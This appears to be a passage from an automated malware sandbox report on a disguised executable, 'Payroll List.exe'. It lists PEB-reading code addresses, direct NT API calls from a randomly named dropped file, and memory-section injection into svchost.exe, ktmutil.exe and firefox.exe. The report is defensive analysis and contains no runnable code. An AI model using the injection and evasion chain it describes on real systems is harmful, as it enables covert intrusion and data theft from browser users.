Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04A80 mov eax, dword ptr fs:[00000030h]	2_2_03A04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938AA0 mov eax, dword ptr fs:[00000030h]	2_2_03938AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938AA0 mov eax, dword ptr fs:[00000030h]	2_2_03938AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03986AA4 mov eax, dword ptr fs:[00000030h]	2_2_03986AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930AD0 mov eax, dword ptr fs:[00000030h]	2_2_03930AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03964AD0 mov eax, dword ptr fs:[00000030h]	2_2_03964AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03964AD0 mov eax, dword ptr fs:[00000030h]	2_2_03964AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03986ACC mov eax, dword ptr fs:[00000030h]	2_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03986ACC mov eax, dword ptr fs:[00000030h]	2_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03986ACC mov eax, dword ptr fs:[00000030h]	2_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396AAEE mov eax, dword ptr fs:[00000030h]	2_2_0396AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396AAEE mov eax, dword ptr fs:[00000030h]	2_2_0396AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BCA11 mov eax, dword ptr fs:[00000030h]	2_2_039BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03954A35 mov eax, dword ptr fs:[00000030h]	2_2_03954A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03954A35 mov eax, dword ptr fs:[00000030h]	2_2_03954A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CA38 mov eax, dword ptr fs:[00000030h]	2_2_0396CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CA24 mov eax, dword ptr fs:[00000030h]	2_2_0396CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395EA2E mov eax, dword ptr fs:[00000030h]	2_2_0395EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936A50 mov eax, dword ptr fs:[00000030h]	2_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940A5B mov eax, dword ptr fs:[00000030h]	2_2_03940A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940A5B mov eax, dword ptr fs:[00000030h]	2_2_03940A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039ACA72 mov eax, dword ptr fs:[00000030h]	2_2_039ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039ACA72 mov eax, dword ptr fs:[00000030h]	2_2_039ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CA6F mov eax, dword ptr fs:[00000030h]	2_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CA6F mov eax, dword ptr fs:[00000030h]	2_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CA6F mov eax, dword ptr fs:[00000030h]	2_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B89B3 mov esi, dword ptr fs:[00000030h]	2_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B89B3 mov eax, dword ptr fs:[00000030h]	2_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B89B3 mov eax, dword ptr fs:[00000030h]	2_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0 mov eax, dword ptr fs:[00000030h]	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039309AD mov eax, dword ptr fs:[00000030h]	2_2_039309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039309AD mov eax, dword ptr fs:[00000030h]	2_2_039309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039649D0 mov eax, dword ptr fs:[00000030h]	2_2_039649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_039FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C69C0 mov eax, dword ptr fs:[00000030h]	2_2_039C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039629F9 mov eax, dword ptr fs:[00000030h]	2_2_039629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039629F9 mov eax, dword ptr fs:[00000030h]	2_2_039629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_039BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BC912 mov eax, dword ptr fs:[00000030h]	2_2_039BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03928918 mov eax, dword ptr fs:[00000030h]	2_2_03928918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03928918 mov eax, dword ptr fs:[00000030h]	2_2_03928918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE908 mov eax, dword ptr fs:[00000030h]	2_2_039AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE908 mov eax, dword ptr fs:[00000030h]	2_2_039AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B892A mov eax, dword ptr fs:[00000030h]	2_2_039B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C892B mov eax, dword ptr fs:[00000030h]	2_2_039C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B0946 mov eax, dword ptr fs:[00000030h]	2_2_039B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D4978 mov eax, dword ptr fs:[00000030h]	2_2_039D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D4978 mov eax, dword ptr fs:[00000030h]	2_2_039D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BC97C mov eax, dword ptr fs:[00000030h]	2_2_039BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03956962 mov eax, dword ptr fs:[00000030h]	2_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03956962 mov eax, dword ptr fs:[00000030h]	2_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03956962 mov eax, dword ptr fs:[00000030h]	2_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0397096E mov eax, dword ptr fs:[00000030h]	2_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0397096E mov edx, dword ptr fs:[00000030h]	2_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0397096E mov eax, dword ptr fs:[00000030h]	2_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BC89D mov eax, dword ptr fs:[00000030h]	2_2_039BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930887 mov eax, dword ptr fs:[00000030h]	2_2_03930887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0395E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0396C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0396C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_039FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BC810 mov eax, dword ptr fs:[00000030h]	2_2_039BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov eax, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov eax, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov eax, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov ecx, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov eax, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952835 mov eax, dword ptr fs:[00000030h]	2_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A830 mov eax, dword ptr fs:[00000030h]	2_2_0396A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D483A mov eax, dword ptr fs:[00000030h]	2_2_039D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D483A mov eax, dword ptr fs:[00000030h]	2_2_039D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03960854 mov eax, dword ptr fs:[00000030h]	2_2_03960854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934859 mov eax, dword ptr fs:[00000030h]	2_2_03934859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934859 mov eax, dword ptr fs:[00000030h]	2_2_03934859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03942840 mov ecx, dword ptr fs:[00000030h]	2_2_03942840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BE872 mov eax, dword ptr fs:[00000030h]	2_2_039BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BE872 mov eax, dword ptr fs:[00000030h]	2_2_039BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6870 mov eax, dword ptr fs:[00000030h]	2_2_039C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6870 mov eax, dword ptr fs:[00000030h]	2_2_039C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03962F98 mov eax, dword ptr fs:[00000030h]	2_2_03962F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03962F98 mov eax, dword ptr fs:[00000030h]	2_2_03962F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CF80 mov eax, dword ptr fs:[00000030h]	2_2_0396CF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04FE7 mov eax, dword ptr fs:[00000030h]	2_2_03A04FE7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392EFD8 mov eax, dword ptr fs:[00000030h]	2_2_0392EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392EFD8 mov eax, dword ptr fs:[00000030h]	2_2_0392EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392EFD8 mov eax, dword ptr fs:[00000030h]	2_2_0392EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932FC8 mov eax, dword ptr fs:[00000030h]	2_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932FC8 mov eax, dword ptr fs:[00000030h]	2_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932FC8 mov eax, dword ptr fs:[00000030h]	2_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932FC8 mov eax, dword ptr fs:[00000030h]	2_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03970FF6 mov eax, dword ptr fs:[00000030h]	2_2_03970FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03970FF6 mov eax, dword ptr fs:[00000030h]	2_2_03970FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03970FF6 mov eax, dword ptr fs:[00000030h]	2_2_03970FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03970FF6 mov eax, dword ptr fs:[00000030h]	2_2_03970FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E6FF7 mov eax, dword ptr fs:[00000030h]	2_2_039E6FF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394CFE0 mov eax, dword ptr fs:[00000030h]	2_2_0394CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394CFE0 mov eax, dword ptr fs:[00000030h]	2_2_0394CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932F12 mov eax, dword ptr fs:[00000030h]	2_2_03932F12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CF1F mov eax, dword ptr fs:[00000030h]	2_2_0396CF1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E6F00 mov eax, dword ptr fs:[00000030h]	2_2_039E6F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395EF28 mov eax, dword ptr fs:[00000030h]	2_2_0395EF28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CF50 mov eax, dword ptr fs:[00000030h]	2_2_0392CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396CF50 mov eax, dword ptr fs:[00000030h]	2_2_0396CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04F68 mov eax, dword ptr fs:[00000030h]	2_2_03A04F68

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0015A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_0015A66C

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00148189 SetUnhandledExceptionFilter,		0_2_00148189
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001481AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_001481AC

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtCreateMutant: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtWriteVirtualMemory: Direct from: 0x77462E3C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtMapViewOfSection: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtResumeThread: Direct from: 0x774636AC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtProtectVirtualMemory: Direct from: 0x77462F9C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtSetInformationProcess: Direct from: 0x77462C5C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtTerminateProcess: Direct from: 0x77462D5C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtSetInformationThread: Direct from: 0x774563F9	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtNotifyChangeKey: Direct from: 0x77463C2C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtAllocateVirtualMemory: Direct from: 0x77462BFC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQueryInformationProcess: Direct from: 0x77462C26	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtResumeThread: Direct from: 0x77462FBC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtReadFile: Direct from: 0x77462ADC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQuerySystemInformation: Direct from: 0x77462DFC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtDelayExecution: Direct from: 0x77462DDC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtAllocateVirtualMemory: Direct from: 0x77463C9C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtClose: Direct from: 0x77462B6C
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtCreateUserProcess: Direct from: 0x7746371C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtWriteVirtualMemory: Direct from: 0x7746490C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtAllocateVirtualMemory: Direct from: 0x774648EC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQuerySystemInformation: Direct from: 0x774648CC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQueryVolumeInformationFile: Direct from: 0x77462F2C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtReadVirtualMemory: Direct from: 0x77462E8C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtCreateKey: Direct from: 0x77462C6C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtSetInformationThread: Direct from: 0x77462B4C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQueryAttributesFile: Direct from: 0x77462E6C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtDeviceIoControlFile: Direct from: 0x77462AEC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtOpenSection: Direct from: 0x77462E0C	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtCreateFile: Direct from: 0x77462FEC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtOpenFile: Direct from: 0x77462DCC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtQueryInformationToken: Direct from: 0x77462CAC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtTerminateThread: Direct from: 0x77462FCC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtAllocateVirtualMemory: Direct from: 0x77462BEC	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	NtOpenKeyEx: Direct from: 0x77462B9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\ktmutil.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

